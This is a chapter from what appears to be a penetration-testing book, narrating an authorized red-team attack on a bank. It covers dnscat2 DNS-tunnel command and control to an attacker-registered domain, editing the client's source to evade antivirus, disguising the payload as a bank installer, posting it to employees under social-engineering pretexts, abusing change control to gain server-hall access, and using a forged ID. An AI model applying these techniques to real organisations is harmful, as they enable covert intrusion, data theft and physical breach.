What Might Work?

Most users won't have web-to-desktop access and those who do will find it heavily restricted—a VBA macro might make it into a target's inbox but will probably be blocked or the attachment will be deleted by policy regardless of AV hits. A signed Java applet might run in a target's browser but more likely it will be considered a banned technology and blocked at the web proxy. Physical access to the facilities is heavily restricted, and every person in or out will need an electronic access badge. Physical access control only permits one person through at a time with ground sensors capable of determining if more than one individual is trying to enter on a single badge.

Nothing Is Secure

So, we're out of luck, right? Remember when I said that nothing is secure? Well, that applies to banks as well. The people who write code or design network architecture for banks are as fallible as anyone else. Not all penetration testers are created equal and security code reviews are often nothing but an expensive waste of time to satisfy the compliance officer and are performed by people who can't even code in the language they're supposed to be reviewing. If you think I'm joking, next time you pay $2,000 a day for someone to come in and conduct a security code review, ask them to write a simple program in the relevant language. You'll get a blank look and an “explanation” as to why they use a “special” tool. Then tell them they can blame me for making them look stupid.

Organizational Politics

Another problem is that banks are usually broken into little fiefdoms—this is true of many organizations but particularly true in banking. There's not just one IT department or one team of coders. The people writing the consumer iPhone app have probably not even met the people who wrote the comparable retail website application.

APT Modeling versus Traditional Penetration Testing

APT modeling, on the other hand, is not something that is often performed and when it is, it's usually not done properly. The (growing) problem with penetration testing in general is that it's full of charlatans. It's a specialized field within a specialized field and the most insight that a client will get as to the competence of the consultant will be how shiny the end report is.

Never ever trust pen testing certifications as proof of ability when hiring consultants—they are all, without exception, garbage. These “qualifications” are issued by cynical opportunist parasites who have used FUD to establish themselves as a standard. They claim to improve the baseline skillset while reducing it to probably the lowest point it's ever been.

I can't name names but the reason that these certifications do so well is basically this: two firms compete for a consultancy engagement. The person who has to select a vendor has no experience in engaging such people and the only notable difference he can see is that one has a certification and one doesn't. He selects the former company and explains to the latter how the decision was made. You can bet that salesman is going back to the office and screaming about lost work and “underqualified” consultants. This is a particular problem in the UK for some reason. Make them prove their knowledge. Better yet—for long-term framework engagements—bring in two or three firms for a day and make them compete against each other on the same environment. Make them sweat. You'll soon separate the men from the boys (or girls, as we have women pen testers now). Oh, and ask if one of your technical people can be involved to see what you're paying for. Some will turn green and run for the door; others will mumble about “proprietary” or “secret” knowledge. Immediately terminate the conversation with anyone who is not willing to work transparently.

Background and Mission Briefing

The bank had just appointed a new Chief Information Security Officer (CISO) who was very keen to put the security of the business to the test in a real-world manner. This was a smart play on his part, as we could test well beyond the limits of a compliance exercise and any vulnerabilities discovered could be attributed to his predecessor. The briefing was pretty much this: “Hack us. When you have, come in and give a presentation to the board that will scare the hell out of them and get me a bigger budget. Just don't do anything illegal.” As if I would.

This was going to be a particularly challenging test and consequently we were going to need to solve some tricky problems:

• How were we going to deliver our payload in a Spartan, security conscious environment?
• How could we establish and manage command and control in an environment where very few users had direct access to the Internet and those who did had to endure an extremely restrictive proxy?

APT tests involve, whether directly or indirectly, human manipulation. Humans aren't computers. They will get suspicious and you can't keep hitting them with attack after failed attack—your target will soon realize they are being targeted. This is also an environment where security policy mandates that screen savers carry security conscious warnings: the “Don't take candy from strangers” type of stuff. One problem at a time. Let's do things the other way around and first talk about our C2.

Command and Control Part III: Advanced Channels and Data Exfiltration

It's true that there is no direct user land connection to the Internet but remember earlier when I said that people often don't fully understand the environments they manage? That is no less true here than in most places. You don't need a “direct” connection to the Internet, you just need to be able to get data out to our C2 and that is by no means the same thing. You could hope we get a user with proxy access and inherit those permissions to talk out to the web, but that would be leave you with a heavily restricted connection which carries far too much uncertainty. You can do better. Consider the following example.

I'm sitting on the banking LAN and I type the following command and get the following output:

> ping www.google.com


Pinging www.google.com [74.125.136.147] with 32 bytes of data:
Request timed out.
Request timed out.
Request timed out.

Ping statistics for 74.125.136.147:
    Packets: Sent = 3, Received = 0, Lost = 3 (100% loss)

What exactly is happening here? “Ah,” you reply, “You're an idiot. You don't have access to the Internet (or at least ICMP packets are being restricted), so you're getting a timeout. What did you think would happen?”

That's not all that's happening.

I pinged a Fully Qualified Domain Name and the packets were dropped but first it was resolved into an IP address. A public Internet IP address. The local DNS server can resolve IP addresses, which means at some point in the DNS chain a host is talking to Google. This local DNS server probably doesn't have direct access to the Internet either, but it can certainly talk to the bank's Internet-facing DNS to resolve queries. The fact that the ICMP packets were dropped is irrelevant: I can use DNS resolution itself as a means of command and control. If you look at a dig query, things might make more sense:

dig +trace www.google.co.uk

.                       8238    IN   NS  b.root-servers.net.
.                       8238    IN   NS  f.root-servers.net.
.                       8238    IN   NS  h.root-servers.net.
.                       8238    IN   NS  m.root-servers.net.
.                       8238    IN   NS  j.root-servers.net.
.                       8238    IN   NS  d.root-servers.net.
.                       8238    IN   NS  g.root-servers.net.
.                       8238    IN   NS  k.root-servers.net.
.                       8238    IN   NS  i.root-servers.net.
.                       8238    IN   NS  a.root-servers.net.
.                       8238    IN   NS  c.root-servers.net.
.                       8238    IN   NS  e.root-servers.net.
.                       8238    IN   NS  l.root-servers.net.
;; Received 228 bytes from 8.8.4.4#53(8.8.4.4) in 15 ms

uk.                      172800 IN        NS       nsa.nic.uk.
uk.                      172800 IN        NS       nsb.nic.uk.
uk.                      172800 IN        NS       nsc.nic.uk.
uk.                      172800 IN        NS       nsd.nic.uk.
uk.                      172800 IN        NS       dns1.nic.uk.
uk.                      172800 IN        NS       dns2.nic.uk.
uk.                      172800 IN        NS       dns3.nic.uk.
uk.                      172800 IN        NS       dns4.nic.uk.
;; Received 454 bytes from 193.0.14.129#53(193.0.14.129) in 28 ms

google.co.uk.           172800 IN        NS        ns3.google.com.
google.co.uk.           172800 IN        NS        ns4.google.com.
google.co.uk.           172800 IN        NS        ns1.google.com.
google.co.uk.           172800 IN        NS        ns2.google.com.
;; Received 116 bytes from 156.154.103.3#53(156.154.103.3) in 2 ms

www.google.co.uk.       300    IN         A         74.125.21.94
;; Received 50 bytes from 216.239.36.10#53(216.239.36.10) in 32 ms

dig +trace works by pretending it's a name server using iterative queries and following the referrals all the way. Here you see the names of the authoritative name servers for google.co.uk as well as the final IP resolution.

Our payload (when you decide what it is) needs to be able to communicate to our C2 via recursive DNS queries that are themselves the data being received. In addition to that, information needs to be passed back to the payload as DNS data in some way. The benefits are that this will cut through their border security like a hot knife through butter and it's stealthy, though not undetectable.

You'll need a couple of things before you can start building this solution:

• A domain name registered specifically for the attack. This can be anything you want.
• Our C2 server needs to be made authoritative for this domain name.
• An additional service must be created that runs on our C2 server and masquerades as a DNS service while its actual sole purpose is to communicate with our payload.

This attack is not a new concept but is not well understood. The first proof of concept was created by DNS and security guru Dan Kaminsky in 2004 with OzymanDNS. The idea was built on by Tadek Pietraszek with dnscat, but that tool is limited in that it requires a Java VM to run. Ron Bowes created dnscat2 to implement and demonstrate DNS tunneling specifically for the sort of purposes you need. It's flexible, it does what you need, and the payload portion of the source code is in C, so you can compile it on whatever you want and alter it so the AV won't see it.

The dnscat2 effectively only tunnels in through DNS—dynamic and reverse tunnels are not supported, nor is file transfer. That's no problem here though as we're just going to combine and deploy it with our own SSH payload, allowing secure file transfer and command execution. The author of the software is wise to warn against trusting the built-in encryption, as it's homemade. While it's likely more than good enough for our purposes, we're tunneling the SSH protocol so that problem is solved for us as well.

We'll register the domain name anti-virus-update.com and make our C2 server the authoritative name server for it. This time when I run dig, I get this:

dig +trace test.anti-virus-update.com

.               14609   IN  NS a.root-servers.net.
.               14609   IN  NS b.root-servers.net.
.               14609   IN  NS c.root-servers.net.
.               14609   IN  NS d.root-servers.net.
.               14609   IN  NS e.root-servers.net.
.               14609   IN  NS f.root-servers.net.
.               14609   IN  NS g.root-servers.net.
.               14609   IN  NS h.root-servers.net.
.               14609   IN  NS i.root-servers.net.
.               14609   IN  NS j.root-servers.net.
.               14609   IN  NS k.root-servers.net.
.               14609   IN  NS l.root-servers.net.
.               14609   IN  NS m.root-servers.net.
;; Received 228 bytes from 8.8.4.4#53(8.8.4.4) in 17 ms

com.            172800   IN  NS i.gtld-servers.net.
com.            172800   IN  NS m.gtld-servers.net.
com.            172800   IN  NS l.gtld-servers.net.
com.            172800   IN  NS e.gtld-servers.net.
com.            172800   IN  NS g.gtld-servers.net.
com.            172800   IN  NS b.gtld-servers.net.
com.            172800   IN  NS d.gtld-servers.net.
com.            172800   IN  NS a.gtld-servers.net.
com.            172800   IN  NS f.gtld-servers.net.
com.            172800   IN  NS h.gtld-servers.net.
com.            172800   IN  NS j.gtld-servers.net.
com.            172800   IN  NS c.gtld-servers.net.
com.            172800   IN  NS k.gtld-servers.net.
;; Received 504 bytes from 202.12.27.33#53(202.12.27.33) in 109 ms

anti-virus-update.com.   172800    IN   NS  newyork.anti-virus-update.com.
anti-virus-update.com.   172800    IN   NS  paris.anti-virus-update.com.
anti-virus-update.com.   172800    IN   NS  london.anti-virus-update.com.
;; Received 155 bytes from 192.52.178.30#53(192.52.178.30) in 580 ms

anti-virus-update.com.   172799       IN      NS     paris.anti-virus-update.com.
anti-virus-update.com.   172799       IN      NS     newyork.anti-virus-update.com.
anti-virus-update.com.   172799       IN      NS     london.anti-virus-update.com.

test as a host does not exist but that doesn't matter. What's important is that the request to resolve the host is being referred up the chain until it reaches our C2 server. This way data can be encapsulated within DNS requests. The most flexible type of DNS record is the TXT record. This can be used to store arbitrary data that can be used to provide information about the domain in question (such as SPF records—more on that later). It can contain any data you want (within size constraints) and can be updated on the fly. As a result, you can also encapsulate data and commands within a DNS response. See Figure 3.1.

There are three ways such an attack may be detected:

• Host-based malware detection/antivirus. In this case, you can compile the dnscat2 payload any way you want to avoid AV signatures.
• Signature-based traffic analysis. Unlikely but not improbable.
• Heuristic-based DNS anomaly detection. Given that DNS has at its core a very simple function—resolving hostnames to IP addresses—there are ways that this traffic can look suspicious at the border. We're resolving a lot of hosts on the same domain in quick succession as well as making a lot of TXT lookup requests. In general, a client host doesn't have a lot of reasons to even request TXT records. In anything but a high-security environment, you could probably safely not worry that this level of inspection was not being carried out, but here I will assume it is and plan our attack accordingly.

How the SOC Works

Understanding how an SOC works is important because these are the people you have to beat in an APT modeling exercise. Without exception they have a strong dislike of penetration testers, which all things being equal is perfectly understandable. See Figure 3.2.

The important takeaway of this section is that response time (by the first line) is not the same thing as reaction time (the period between the response time and the event resolution). Once an event has been flagged, a series of steps has to take place to mobilize a response.

False Positives

One final point, given the number of events that will be generated vis-à-vis the resources of the SOC and its need to eliminate false positives, assets monitored by IDS are given a numerical value that's passed to a formula when technology makes a decision as to whether or not an event is considered worthy of flagging in the SIEM. An asset value can be 0 (least important) through 5 (most important). The formula takes into consideration event priority (also 0 through 5) and the reliability of the event detection (0 through 10). The formula looks like this:

This effectively allows security to be broken into percentiles and categorized and reacted to accordingly. This is fine (indeed necessary) to a certain degree. The problem is that it's not always clear what the asset value should be. To put it another way, an attack triggered on an asset with a low value and priority with a rule that is not considered to be sufficiently reliable is not going to get flagged. In an APT scenario where an attacker may have to stay hidden for a long time while avoiding detection in a security monitored environment, the attacker should aim to compromise endpoints that are going to have the lowest asset value as is reasonably possible to use for further probing. Modern printers, for example, will be attached to the network and have functionality that will likely extend beyond what the device needs. As such, they can be utilized to store files, tools, and in some cases provision attacks. A Cisco router will likely be considered a high-value asset but monitoring usually has to be carefully tuned to avoid excess false positives. A light port scan coming from a Cisco device will likely not be flagged or be immediately closed by the SOC team. However, modern Cisco routers have an implementation of the TCL scripting language installed by default and while it's not a complete implementation (sadly the Expect module is not supported for example), it can still be used to script attacks and facilitate low and slow recon.

Enough said. It's time to think about how we're going to deliver our payload.

Payload Delivery Part III: Physical Media

We've pretty much ruled out the web as a viable vector of attack and email with any kind of attachments is going to be subject to considerable scrutiny. What does that leave us with? Plenty, but for this test we're going to go old school. The easiest way to get a payload into a physically high-security environment is to go low tech. FedEx packages are not going to get analyzed by border malware prevention systems—they're going to be delivered to someone's desk.

Gathering Targets

First you need to build your target list. What you want is a list of about 100 names in different departments. It doesn't matter too much which departments at this point, just try and get an even spread. The point is you will need to create a pretext—any pretext really—to email the people on this list and get a response; the response will contain the individual building code allowing you to very specifically deliver the payload within the accepted and trusted conventions of the bank. The following letter

Dear Dan,

It was great to catch up at Infosec last week. If you're up for a beer this Friday I'll be in town.

Regards,

Dave

is a simple example that might elicit the following response:

Dave,

I think you've got the wrong Dan!

Cheers,

Dan

IT Systems Engineer
Payment Systems

23 Walton Street
MZ2.324

It doesn't matter; be creative.

Once you have a list of targets, addresses, and building codes you can think about what you want to deliver. There is the dnscat2/SSH payload bundle, but you need to dress it up as something convincing and configure your environment. So….

Stage I: Server Configuration

In addition to your existing C2 infrastructure, you need to install the server side of dnscat2, which is straightforward enough. The server element is written as a Ruby script so you just need to satisfy some prerequisites. On Linux, use this command:

$ sudo apt-get install ruby-dev

to grab the Ruby development tools and use this command:

$ git clone https://github.com/iagox86/dnscat2.git
$ cd dnscat2/server/
$ sudo gem install bundler
$ sudo bundle install

to download dnscat2 and install its dependencies. You can execute the server simply by running the following (appending the carrier domain).

# ruby ./dnscat2.rb anti-virus-update.com

Stage II: Client Configuration

As the dnscat2 client will certainly be detected out of the box by AV, you need to make some modifications to the C source before compiling it. Modification of the source code of an executable is effective in bypassing virus detection. Depending on the signature, this could be as simple as changing the text of some message within the code, or it might be more complicated, requiring the use of different function calls or the reordering of code. Looking through the source code of dnscat.c, you will see multiple simple signatures that would identify this as potentially hostile, including a bunch of printf statements that you can live without anyway. For example:

    if(optind >= argc)
    {
      printf ("Starting DNS driver without a domain! This will only work if you
");
      printf ("are directly connecting to the dnscat2 server.
");
      printf ("
");
      printf ("You'll need to use --dns server=<server> if you aren't.
");
      tunnel_driver = create_dns_driver_internal(group, NULL, "0.0.0.0", 53, DEFAULT_TYPES, NULL);
    }

Remove these printf lines (as well as other such lines from the source), compile the code (I use MinGW but use Visual Studio if you must), and see what Virus Total makes of it, as shown in Figure 3.3.

Now you need to make the whole thing look presentable and legitimate. When delivering payloads in this manner, I suggest packaging everything together using a professional installer such as InstallShield or Inno (the latter is free and open source). Users are more trusting of legitimate looking packages and this allows you to get creative with bank logos and so forth. The company has a Windows package for online banking that's free for download, so I'll acquire that and mirror its style as much as possible. I'll also add a dummy application that purports to be banking software of some kind (this can be anything that supports your pretext). How you go about this is entirely up to you. If you have time, create something impressive; if you don't, a command-line app that generates a contrived library error when run is an option. The important thing is that our payloads are installed to somewhere they won't be found and executed, whereas our dummy application should be the thing that draws attention. It should install with a desktop icon etc. and not arouse (immediate) suspicion. Optionally, you could also drop the PowerView PowerShell script to dump users and systems from AD so that even if our access is short-lived, we have considerable information to work with for future attacks, both technical and social.

Stage III: Physical Packaging

Again, the goal is to look as legitimate as possible. If you're deploying our package on an optical disk, use a label printer and really make it professional. In this instance I will deploy a mail slip with it sourced from the bank in question with a quick written note to support the pretext.

The next trick is to get the package into the bank's internal mail. This is easier than it sounds. When working for this bank in the past and waiting around in reception, I would frequently see employees passing packages to the front desk for internal delivery (basically just throwing it into a drop box). As long as everything looks legitimate (with the correct building codes etc.) it's that straightforward and that's why detailed research is critical. In this case, running in off the street and cutting the line works fine—you're important and busy after all. Don't queue; if you've got time to queue, you've got time to do it yourself.

The pretext can be anything you want as long it looks official, appears to come from an official source, and seems mandatory. Loads of things are mandatory in a corporate environment (compliance trainings are a good example), but think about why it would be arriving on physical media—is it too confidential to send via email? Has the employee been selected from a short list for whatever reason—should they feel privileged to get it? Is completion essential to make their bonus? Threaten people's bonuses and you can get them to do anything.

The Attack

You have the upgraded C2 and a physical package deployed to several bank HQs addressed to the targets using the correct building codes, conventions, and other nomenclature. It's a well-planned attack and someone will bite. In the meantime, what should you attack when you gain access? Payment systems seem like an obvious answer but being able to gain access to payment systems and being able to put your hands on the money are two very different things. An attacker might get away with it once, but any amount of money that would make such a risk viable would trigger auditing and certainly result in invoking the so-called two-tap principle where another set of eyes would have to confirm funds transfer. You'd have to be very confident in your understanding of the systems in question, have compromised multiple users, and be able to control the flow of information to a certain extent. The keys to the kingdom are not the payment systems, but the change control mechanisms.

Change control is the systematic approach to logging/approving any changes to a specific product, firewall ruleset, software upgrade, or anything else. It also applies to physical access control. An international bank has many, many different technologies and depends on outsourcing for much of its day-to-day business. Change control will be used to decide who will have access to what and when. For example, a vulnerability audit has been requested on a core banking switch that will require physical access to the server hall to test. Someone will have to sign off on this and effectively say, “This person has a business need to be granted access to site ABC on these dates and they will additionally need access to server hall XYZ.” This will go into change control to be confirmed or denied.

If confirmed, when the visitor shows up at the site, security will check his ID and give him a temporary pass. If he needs access to the server halls then once inside the security perimeter, he hands over his temp badge for a hall pass which won't allow the user to exit the building. Then he'll have to swap it back when he leaves. This way the hall passes can't leave the building. This all sounds very secure. The only problem is that change control is predominantly only useful for logging changes so that if something breaks, there is an audit trail to show exactly what happened and what needs to be rolled back.

In practice, unless a particular change is unusual, it's a rubber stamp process, particularly for physical access control. So many people come and go every day that it can't be anything else. In principle, the CISO has to approve a request for a security consultant to enter the server halls, but that's someone at the very top of the ladder who won't be familiar with what day-to-day tests are being carried out or the names of every consultant who enters her domain. If a team leader files such a request in change control it's going to be approved. Generally, it looks like this:

• Who needs access? Rob Hackerman of Hackerman Security Services.
• What do they need access for? Vulnerability audit of environment XYZ.
• What access is required? Building access at site MZ. Hall access to ABC.
• Have they been screened by security in the past? Yes. Consultant is frequently present at MZ and HJ.

It would be nice if you could get access to a physical site and plug your laptop in and look around, but wouldn't it be great if you could get access to the server halls? The damage an attacker could do under such circumstances simply cannot be understated. The change control process happens many times a day and the system can only be accessed from within the bank's corporate Intranet (or via VPN), so there is no particular reason to be suspicious that a contractor needs access to resources to do his job. We could put any name in the system we want as long as we have ID to back it up, but that doesn't have to be a passport or anything that's difficult to forge. I once used a fake Maryland driver's license to get into a building (outside the United States, so no laws broken). It wouldn't have fooled a Maryland cop but these guys had never seen one before and were none the wiser.

When the attack goes live, dnscat2 is going to talk back to our C2 and allow us to tunnel into our SSH payload. The dnscat2 UI is made up of windows. The default window is called the “main” window. You can get a list of windows by typing

> windows

or

> sessions

at the dnscat2 prompt. Once you have a live target, that will yield the following:

0 :: main [active]
  dns1 :: DNS Driver running on 0.0.0.0:53 domains = anti-virus-update.com [*]

To create our tunnel, use this:

listen [0000:]443 localhost:443

It will create a tunnel on port 443 of the C2 server and terminate at 443 on our compromised machine (assuming here of course that SSH is listening on 443).

You now have secure shell access to the target host and can execute commands and transfer files, all through indirect DNS requests and responses. Any web applications that are capable of doing this in the target network (including change control) will be using AD to handle authentication. That is, access will be determined via a central control list that is linked to the user's domain account rather than from an application-specific login/password. This is interesting because at this point you can either deploy a keylogger to grab the target's credentials or inject the IE proxy attack directly into the web browser as in Chapter 1. Both approaches have their merits, although the former will likely require privilege escalation to succeed as well as a lot more time. That's generally not a problem but we discuss that process in depth in the next chapter in a longer-term engagement.

All you need to know now is the name of the change control server that once again you can derive from AD. With access to the change control system, you can grant yourself access as a consultant or contractor to any facility in the bank.

I talked earlier about the SOC and this is an anecdote worth repeating. This section describes an attack I carried out in 2012. Nobody questioned me (or indeed really acknowledged me) until I'd completed the server hall aspect of the engagement (took some pictures of core routing hubs) and decided to go upstairs to plug into the LAN to get a few screenshots. I was approached by technical security (who had noticed that the MAC address on my laptop wasn't registered). Without introducing themselves, they just asked, “Are you doing a pen test?”

“Yes,” I replied.

“Great, let me just get your MAC so we don't get any more alerts.”

I felt that rather defeated the point of the SOC, but this is complacency—one of the biggest enemies of security there is.

Summary

The CISO got his scary presentation and the budget increase he wanted but in the long term it's unlikely the exercise dramatically increased the security posture of the organization. You can prioritize security, you can throw gobs of money at it, but the bottom line is that you still have to be able to do business. If you need people to come into your buildings and do work on a regular basis, there needs to be a fluid way to allow this to happen that also considers the security implications. In this instance, that failed.

The takeaway here is that the obvious systems to attack are not necessarily the right ones. As noted above, as pen testers we could probably subvert the payment systems themselves but it would be hard to go from there to physically removing money from the bank (as impressive a demo as that would be). In this instance, we chose to hit the change control systems because they were more vulnerable and would allow an attacker much more flexibility in controlling and molding the environment as they see fit. Millions were spent securing iPhone apps and retail banking websites. Nothing was spent testing the change control systems.

Exercises

1. Familiarize yourself with the AlienVault USM product. Understanding what the other guy sees will change your own workflow for the better.
2. Explore dnscat2 and its equivalents. Examine the traffic using Wireshark. How could you make the traffic stealthier?
3. What measures could you take to mitigate the DNS tunneling attack? One option is to separate internal and external DNS, but this is unlikely to be practical in a large company. What else could be done?